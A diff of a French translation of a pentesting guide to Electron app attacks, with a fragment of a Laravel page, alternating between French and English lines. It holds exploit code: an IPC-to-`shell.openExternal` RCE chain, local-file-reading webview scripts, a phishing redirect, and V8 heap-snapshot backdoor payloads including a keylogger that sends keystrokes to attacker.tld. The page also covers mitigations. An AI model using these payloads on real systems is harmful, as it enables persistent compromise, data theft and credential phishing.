||||
Le script indiqué dans ce réglage est **chargé avant les autres scripts dans le renderer**, il a donc **un accès illimité aux Node APIs** :
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -153,16 +153,16 @@ runCalc()
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
Le _**contextIsolation**_ introduit des **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
|
||||
Le _**contextIsolation**_ introduit les **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
|
||||
|
||||
Si les contextes ne sont pas isolés, un attaquant peut :
|
||||
|
||||
1. Exécuter **du JavaScript arbitraire dans le renderer** (XSS ou navigation vers des sites externes)
|
||||
2. **Écraser la méthode intégrée** qui est utilisée dans le preload ou le code interne d'Electron pour prendre le contrôle de la fonction
|
||||
2. **Écraser la méthode intégrée** utilisée dans le preload ou le code interne d'Electron pour prendre le contrôle
|
||||
3. **Déclencher** l'utilisation de la **fonction écrasée**
|
||||
4. RCE ?
|
||||
4. RCE?
|
||||
|
||||
Il y a 2 endroits où des méthodes intégrées peuvent être écrasées : dans le code de preload ou dans le code interne d'Electron :
|
||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -179,9 +179,9 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
||||
electron-contextisolation-rce-via-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
### Contourner l'événement de clic
|
||||
### Bypass click event
|
||||
|
||||
S'il existe des restrictions appliquées lorsque vous cliquez sur un lien, vous pourriez être capable de les contourner en **cliquant avec le bouton du milieu** au lieu d'un clic gauche ordinaire.
|
||||
S'il y a des restrictions appliquées lorsque vous cliquez sur un lien, vous pourrez peut-être les contourner **en effectuant un clic du milieu** au lieu d'un clic gauche classique
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
@ -189,24 +189,24 @@ window.addEventListener('click', (e) => {
|
||||
|
||||
Pour plus d'informations sur ces exemples, consultez [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) et [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Lors du déploiement d'une application de bureau Electron, il est crucial de s'assurer que les paramètres `nodeIntegration` et `contextIsolation` sont correctement configurés. Il est établi que la client-side remote code execution (RCE) visant les preload scripts ou le code natif d'Electron depuis le main process est efficacement empêchée lorsque ces paramètres sont en place.
|
||||
Lors du déploiement d'une application desktop Electron, s'assurer des bons paramètres pour `nodeIntegration` et `contextIsolation` est crucial. Il est établi que **client-side remote code execution (RCE)** ciblant les preload scripts ou le native code d'Electron depuis le main process est efficacement empêché lorsque ces paramètres sont en place.
|
||||
|
||||
Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres, des écouteurs d'événements spécifiques sont déclenchés, essentiels pour la sécurité et le fonctionnement de l'application :
|
||||
Lorsque l'utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres, des event listeners spécifiques sont déclenchés, qui sont cruciaux pour la sécurité et le fonctionnement de l'application :
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Ces listeners sont **surchargés par l'application de bureau** pour implémenter sa propre **logique métier**. L'application évalue si un lien navigué doit être ouvert en interne ou dans un navigateur web externe. Cette décision est généralement prise via une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit être ouvert en externe, en utilisant la fonction `shell.openExternal`.
|
||||
Ces gestionnaires d'événements sont **surchargés par l'application de bureau** pour implémenter sa propre **logique métier**. L'application évalue si un lien navigué doit être ouvert en interne ou dans un navigateur web externe. Cette décision est généralement prise via une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit être ouvert en externe, en utilisant la fonction `shell.openExternal`.
|
||||
|
||||
**Voici un pseudocode simplifié :**
|
||||
**Here is a simplified pseudocode:**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Les bonnes pratiques de sécurité d'Electron JS déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait mener à des RCE via divers protocoles. Les systèmes d'exploitation prennent en charge différents protocoles qui peuvent déclencher des RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
|
||||
Les bonnes pratiques de sécurité Electron JS déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait mener à du RCE via différents protocoles. Les systèmes d'exploitation prennent en charge divers protocoles susceptibles de déclencher du RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
|
||||
|
||||
Sur macos, la fonction `openExternal` peut être exploitée pour exécuter des commandes arbitraires comme dans `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
Dans macos, la fonction `openExternal` peut être exploitée pour exécuter des commandes arbitraires comme dans `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Exemples d'exploits de protocoles Windows incluent :**
|
||||
```html
|
||||
@ -230,15 +230,15 @@ window.open(
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
Cette vulnérabilité se trouve dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Cette vulnérabilité est décrite dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
La **webviewTag** est une **fonctionnalité obsolète** qui permet l'utilisation de **NodeJS** dans le **renderer process**, ce qui devrait être désactivé car cela permet de charger un script dans le preload context comme:
|
||||
La **webviewTag** est une **fonctionnalité dépréciée** qui permet l'utilisation de **NodeJS** dans le **renderer process**, qui devrait être désactivée car elle permet de charger un script dans le preload context comme:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Ainsi, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour **charger un preload script arbitraire**.
|
||||
Ainsi, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour **charger un script de préchargement arbitraire**.
|
||||
|
||||
Ce preload script a ensuite été abusé pour appeler un **vulnérable IPC service (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir RCE:
|
||||
Ce script de préchargement a ensuite été abusé pour appeler un **service IPC vulnérable (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir une RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## Lecture de fichiers internes : XSS + contextIsolation
|
||||
|
||||
**La désactivation de `contextIsolation` permet l'utilisation des balises `<webview>`**, similaires à `<iframe>`, pour lire et exfiltrer des fichiers locaux. Un exemple fourni montre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :
|
||||
**La désactivation de `contextIsolation` permet d'utiliser des balises `<webview>`**, similaires à `<iframe>`, pour lire et exfiltrer des fichiers locaux. Un exemple montre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :
|
||||
|
||||
.png>)
|
||||
|
||||
De plus, une autre méthode pour **lire un fichier interne** est partagée, mettant en évidence une vulnérabilité critique de lecture de fichier local dans une Electron desktop app. Ceci implique l'injection d'un script pour exploiter l'application et exfiltrer des données :
|
||||
De plus, une autre méthode pour **lire un fichier interne** est présentée, mettant en évidence une vulnérabilité critique de lecture de fichiers locaux dans une Electron desktop app. Cela implique d'injecter un script pour exploiter l'application et exfiltrer des données :
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -271,23 +271,23 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE : XSS + Chromium obsolète**
|
||||
## **RCE : XSS + Chromium ancien**
|
||||
|
||||
Si le **chromium** utilisé par l'application est **obsolète** et qu'il existe des **vulnérabilités** **connues** le concernant, il peut être possible de **l'exploiter et d'obtenir RCE via un XSS**.\
|
||||
Vous pouvez voir un exemple dans ce **writeup** : [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
Si le **chromium** utilisé par l'application est **ancien** et qu'il existe des **vulnérabilités** **connues** le concernant, il pourrait être possible de **l'exploiter et obtenir RCE via un XSS**.\
|
||||
Vous pouvez voir un exemple dans ce **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Supposons que vous ayez trouvé un XSS mais que vous **ne puissiez pas déclencher RCE ou voler des fichiers internes**, vous pouvez essayer de l'utiliser pour **voler des identifiants via phishing**.
|
||||
Supposons que vous ayez trouvé une XSS mais que vous **ne puissiez pas déclencher RCE ni voler des fichiers internes**, vous pouvez essayer de l'utiliser pour **voler des identifiants via phishing**.
|
||||
|
||||
Tout d'abord, vous devez savoir ce qui se passe lorsque vous tentez d'ouvrir une nouvelle URL, en vérifiant le code JS dans le front-end :
|
||||
Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS du front-end :
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
L'appel à **`openInternally`** décidera si le **link** sera **ouvert** dans la **desktop window** puisqu'il s'agit d'un link appartenant à la plateforme, **ou** s'il sera ouvert dans le **browser** comme ressource tierce.
|
||||
L'appel à **`openInternally`** décidera si le **link** sera **ouvert** dans la **desktop window** car il s'agit d'un lien appartenant à la plateforme, **ou** s'il sera ouvert dans le **browser as a 3rd party resource**.
|
||||
|
||||
Dans le cas où la **regex** utilisée par la fonction est **vulnérable aux bypasses** (par exemple en **n'échappant pas les points des sous-domaines**), un attaquant pourrait abuser du XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attaquant, **demandant les credentials** à l'utilisateur :
|
||||
Dans le cas où le **regex** utilisé par la fonction est **vulnérable aux contournements** (par exemple en **n'échappant pas les points des sous-domaines**) un attaquant pourrait abuser du XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attaquant **demandant des identifiants** à l'utilisateur :
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -295,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
```
|
||||
## `file://` Protocole
|
||||
|
||||
Comme mentionné dans [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) les pages exécutées sur **`file://`** ont un accès unilatéral à tous les fichiers de votre machine, ce qui signifie que **les failles XSS peuvent être utilisées pour charger des fichiers arbitraires** depuis la machine de l'utilisateur. L'utilisation d'un **protocole personnalisé** évite ce type de problème car vous pouvez limiter le protocole à ne servir qu'un ensemble spécifique de fichiers.
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **protocole personnalisé** prevents issues like this as you can limit the protocol to only serving a specific set of files.
|
||||
|
||||
## Remote module
|
||||
|
||||
Le Remote module d'Electron permet aux processus renderer d'accéder aux APIs du main process, facilitant la communication au sein d'une application Electron. Cependant, activer ce module introduit d'importants risques de sécurité. Il augmente la surface d'attaque de l'application, la rendant plus vulnérable à des vulnérabilités telles que les attaques cross-site scripting (XSS).
|
||||
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> Bien que le module **remote** expose certaines APIs du main vers les renderer processes, il n'est pas simple d'obtenir une RCE uniquement en abusant des composants. Cependant, les composants peuvent exposer des informations sensibles.
|
||||
> Bien que le module **remote** expose certaines APIs du main vers les renderer processes, il n'est pas simple d'obtenir une RCE simplement en abusant des composants. Cependant, les composants peuvent exposer des informations sensibles.
|
||||
|
||||
> [!WARNING]
|
||||
> Beaucoup d'apps qui utilisent encore le remote module le font d'une manière qui **exige que NodeIntegration soit activé** dans le renderer process, ce qui constitue un **énorme risque de sécurité**.
|
||||
> Beaucoup d'apps qui utilisent encore le remote module le font d'une façon qui **exige que NodeIntegration soit activé** dans le renderer process, ce qui représente un **énorme risque de sécurité**.
|
||||
|
||||
Depuis Electron 14, le module `remote` d'Electron peut être activé de plusieurs manières, mais pour des raisons de sécurité et de performance il est **recommandé de ne pas l'utiliser**.
|
||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
||||
|
||||
Pour l'activer, il faut d'abord **l'activer dans le main process** :
|
||||
To enable it, it'd first needed to **enable it in the main process**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -320,39 +320,39 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Ensuite, le processus renderer peut importer des objets depuis le module comme ceci :
|
||||
Ensuite, le renderer process peut importer des objets depuis le module qu'il souhaite :
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
Le **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indique quelques **fonctions** intéressantes exposées par l'objet **`app`** du module remote :
|
||||
La **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indique quelques **fonctions** intéressantes exposées par l'objet **`app`** du module remote :
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Redémarre** l'application en **quittant** l'instance actuelle et en **lançant** une nouvelle. Utile pour les **mises à jour de l'application** ou des **changements d'état** importants.
|
||||
- **Redémarre** l'application en **quittant** l'instance courante et en **lançant** une nouvelle. Utile pour les **mises à jour de l'application** ou des **changements d'état** significatifs.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Définit** ou **crée** un répertoire pour stocker les **logs de l'app**. Les logs peuvent être **récupérés** ou **modifiés** en utilisant **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
|
||||
- **Définit** ou **crée** un répertoire pour stocker les **journaux de l'application**. Les journaux peuvent être **récupérés** ou **modifiés** en utilisant **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Enregistre** l'exécutable courant comme le **gestionnaire par défaut** pour un **protocole** spécifié. Vous pouvez fournir un **chemin personnalisé** et des **arguments** si nécessaire.
|
||||
- **Enregistre** l'exécutable courant comme **gestionnaire par défaut** pour un **protocole** spécifié. Vous pouvez fournir un **chemin personnalisé** et des **arguments** si nécessaire.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Ajoute** des tâches à la catégorie **Tasks** dans la **Jump List** (sur Windows). Chaque tâche peut contrôler comment l'app est **lancée** ou quels **arguments** sont passés.
|
||||
- **Ajoute** des tâches à la **Tasks category** dans la **Jump List** (sur Windows). Chaque tâche peut contrôler comment l'application est **lancée** ou quels **arguments** sont passés.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Importe** un **certificat PKCS#12** dans le **store de certificats** du système (Linux uniquement). Un **callback** peut être utilisé pour traiter le résultat.
|
||||
- **Importe** un **PKCS#12 certificate** dans le **certificate store** du système (Linux uniquement). Un **callback** peut être utilisé pour gérer le résultat.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Déplace** l'application vers le **dossier Applications** (sur macOS). Permet d'assurer une **installation standard** pour les utilisateurs Mac.
|
||||
- **Déplace** l'application vers le **Applications folder** (sur macOS). Aide à garantir une **installation standard** pour les utilisateurs Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Définit** ou **supprime** une **Jump List personnalisée** sur **Windows**. Vous pouvez spécifier des **categories** pour organiser comment les tâches apparaissent à l'utilisateur.
|
||||
- **Définit** ou **supprime** une **Jump List** personnalisée sur **Windows**. Vous pouvez spécifier des **catégories** pour organiser l'apparence des tâches pour l'utilisateur.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Configure** quels **exécutables** se lancent à la **connexion** ainsi que leurs **options** (macOS et Windows uniquement).
|
||||
|
||||
Example:
|
||||
Exemple:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences module
|
||||
|
||||
L'**API principale** pour accéder aux préférences système et **émettre des événements système** dans Electron. Toutes ces méthodes — **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** et **setUserDefault** — font partie de ce module.
|
||||
L'**API principale** pour accéder aux préférences système et **émettre des événements système** dans Electron. Des méthodes comme **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, et **setUserDefault** sont toutes **parties de** ce module.
|
||||
|
||||
**Exemple d'utilisation :**
|
||||
**Exemple d'utilisation :**
|
||||
```javascript
|
||||
const { systemPreferences } = require('electron');
|
||||
|
||||
@ -367,17 +367,17 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Écoute** les **notifications natives macOS** via NSDistributedNotificationCenter.
|
||||
* Avant **macOS Catalina**, on pouvait renifler **toutes** les notifications distribuées en passant **nil** à CFNotificationCenterAddObserver.
|
||||
* Après **Catalina / Big Sur**, les apps sandboxed peuvent encore **s'abonner** à **de nombreux événements** (par exemple, **verrouillage/déverrouillage d'écran**, **montage de volumes**, **activité réseau**, etc.) en enregistrant les notifications **par nom**.
|
||||
* **Écoute** les **notifications macOS natives** en utilisant NSDistributedNotificationCenter.
|
||||
* Avant **macOS Catalina**, vous pouviez sniff **toutes** les distributed notifications en passant **nil** à CFNotificationCenterAddObserver.
|
||||
* Après **Catalina / Big Sur**, les apps **sandboxed** peuvent toujours **s'abonner** à **nombreux événements** (par exemple, **verrouillage/déverrouillage d'écran**, **montages de volumes**, **activité réseau**, etc.) en enregistrant des notifications **par nom**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Interagit** avec **NSUserDefaults**, qui stocke les préférences **d'application** ou **globales** sur macOS.
|
||||
* **S'interface** avec **NSUserDefaults**, qui stocke les préférences **application** ou **globales** sur macOS.
|
||||
|
||||
* **getUserDefault** peut **récupérer** des informations sensibles, telles que **les emplacements de fichiers récents** ou **la localisation géographique de l'utilisateur**.
|
||||
* **getUserDefault** peut **récupérer** des informations sensibles, telles que les **emplacements de fichiers récents** ou la **localisation géographique** de l'utilisateur.
|
||||
|
||||
* **setUserDefault** peut **modifier** ces préférences, affectant potentiellement la **configuration** d'une application.
|
||||
* **setUserDefault** peut **modifier** ces préférences, affectant potentiellement la **configuration** d'une app.
|
||||
|
||||
* Dans les **anciennes versions d'Electron** (avant v8.3.0), seule la **suite standard** de NSUserDefaults était **accessible**.
|
||||
|
||||
@ -389,9 +389,9 @@ For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-m
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Les applications Electron devraient avoir une **Content Security Policy (CSP)** pour **prévenir les attaques XSS**. La **CSP** est une **norme de sécurité** qui aide à **empêcher** l'**exécution** de **code non fiable** dans le navigateur.
|
||||
Les apps Electron devraient avoir une **Content Security Policy (CSP)** pour **prévenir les attaques XSS**. La **CSP** est une **norme de sécurité** qui aide à **empêcher** l'**exécution** de **code non fiable** dans le navigateur.
|
||||
|
||||
Elle est généralement **configurée** dans le fichier **`main.js`** ou dans le modèle **`index.html`** avec la CSP dans une **meta tag**.
|
||||
Elle est généralement **configurée** dans le fichier **`main.js`** ou dans le template **`index.html`** avec la CSP dans une **balise meta**.
|
||||
|
||||
For more information check:
|
||||
|
||||
@ -404,13 +404,13 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) est un outil pour identifier les mauvaises configurations et les anti-patterns de sécurité dans les applications basées sur Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) est un plugin open source pour VS Code pour les applications Electron qui utilise Electronegativity.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) est un plugin VS Code open source pour les applications Electron qui utilise Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour vérifier les bibliothèques tierces vulnérables
|
||||
- [**Electro.ng**](https://electro.ng/): You need to buy it
|
||||
- [**Electro.ng**](https://electro.ng/): il faut l'acheter
|
||||
|
||||
## Labs
|
||||
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) vous pouvez trouver un lab pour exploiter des applications Electron vulnérables.
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
|
||||
|
||||
Quelques commandes qui vous aideront avec le lab:
|
||||
```bash
|
||||
@ -437,16 +437,16 @@ npm start
|
||||
```
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Les applications basées sur Electron et Chromium désérialisent un V8 heap snapshot préconstruit au démarrage (v8_context_snapshot.bin, et optionnellement browser_v8_context_snapshot.bin) pour initialiser chaque V8 isolate (main, preload, renderer). Historiquement, les integrity fuses d'Electron ne traitaient pas ces snapshots comme du contenu exécutable, ils échappaient donc à la fois à l'application des fuses d'intégrité et aux contrôles de signature de code du système d'exploitation. En conséquence, remplacer le snapshot dans une installation inscriptible par l'utilisateur permettait une exécution de code persistante et furtive à l'intérieur de l'app sans modifier les binaires signés ni l'ASAR.
|
||||
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar valident le JavaScript de l'app à l'intérieur de l'ASAR, mais ils ne couvraient pas les V8 heap snapshots (CVE-2025-55305). Chromium de la même manière ne vérifie pas l'intégrité des snapshots.
|
||||
- Attack preconditions: écriture locale de fichiers dans le répertoire d'installation de l'app. Cela est courant sur des systèmes où les apps Electron ou les navigateurs Chromium sont installés sous des chemins inscriptibles par l'utilisateur (par ex. %AppData%\Local sur Windows ; /Applications avec des caveats sur macOS).
|
||||
- Effect: exécution fiable du JavaScript de l'attaquant dans n'importe quel isolate en écrasant un builtin fréquemment utilisé (un “gadget”), permettant la persistance et l'évasion de la vérification de signature de code.
|
||||
- Affected surface: les apps Electron (même avec les fuses activés) et les navigateurs basés sur Chromium qui chargent des snapshots depuis des emplacements inscriptibles par l'utilisateur.
|
||||
Points clés
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar valident le JavaScript de l'app à l'intérieur de l'ASAR, mais ne couvraient pas les V8 heap snapshots (CVE-2025-55305). Chromium ne vérifie pas non plus l'intégrité des snapshots.
|
||||
- Attack preconditions: écriture locale de fichiers dans le répertoire d'installation de l'app. Cela est courant sur les systèmes où les apps Electron ou navigateurs Chromium sont installés dans des chemins modifiables par l'utilisateur (p.ex. %AppData%\Local sous Windows ; /Applications avec des réserves sur macOS).
|
||||
- Effect: exécution fiable du payload JavaScript de l'attaquant dans n'importe quel isolate en écrasant un builtin fréquemment utilisé (un « gadget »), permettant persistance et contournement de la vérification de signature de code.
|
||||
- Affected surface: apps Electron (même avec les fuses activés) et navigateurs basés sur Chromium qui chargent des snapshots depuis des emplacements modifiables par l'utilisateur.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Utilisez le mksnapshot précompilé d'electron (electron/mksnapshot) pour compiler un payload JS en un snapshot et écraser le v8_context_snapshot.bin de l'application.
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
@ -462,11 +462,11 @@ Array.isArray = function () {
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Routage de payload en fonction de l'isolate (exécuter du code différent dans main vs. renderer)
|
||||
- Détection du processus principal : des globals spécifiques à Node comme process.pid, process.binding(), ou process.dlopen sont présents dans l'isolate du processus principal.
|
||||
- Détection Browser/renderer : des globals propres au Browser comme alert sont disponibles lorsqu'on s'exécute dans un contexte de document.
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- Détection du processus principal: Les globaux spécifiques à Node comme process.pid, process.binding(), ou process.dlopen sont présents dans l'isolate du processus principal.
|
||||
- Détection navigateur/renderer: Les globaux spécifiques au navigateur comme alert sont disponibles lorsqu'on s'exécute dans un contexte de document.
|
||||
|
||||
Exemple de gadget qui teste une fois les capacités Node du processus principal
|
||||
Exemple de gadget qui sonde une fois les capacités Node du processus principal
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
@ -495,7 +495,7 @@ process.exit(0);
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
PoC de vol de données depuis Renderer/browser-context (par ex. Slack)
|
||||
PoC de vol de données du renderer/contexte du navigateur (p. ex., Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
@ -519,8 +519,8 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Flux de travail de l'opérateur
|
||||
1) Écrire payload.js qui clobbers un builtin courant (e.g., Array.isArray) et éventuellement fait des branches par isolate.
|
||||
Operator workflow
|
||||
1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
|
||||
2) Build the snapshot without Chromium sources:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Overwrite the target application’s snapshot file(s):
|
||||
@ -528,17 +528,17 @@ Flux de travail de l'opérateur
|
||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||
4) Launch the application; the gadget executes whenever the chosen builtin is used.
|
||||
|
||||
Remarques et considérations
|
||||
Notes and considerations
|
||||
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
|
||||
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
|
||||
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
|
||||
|
||||
Détection et mesures d'atténuation
|
||||
Detection and mitigations
|
||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
||||
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
|
||||
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
|
||||
|
||||
## **Références**
|
||||
## **References**
|
||||
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Lisez les informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
Lire les informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Internes du chiffrement (Laravel \u003e=5.6)
|
||||
|
||||
Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en interne (`Illuminate\\Encryption\\Encrypter`).
|
||||
Le texte chiffré brut qui est finalement **envoyé au client** est un **Base64 d'un objet JSON** comme:
|
||||
Le texte chiffré brut qui est finalement **envoyé au client** est **le Base64 d'un objet JSON** comme :
|
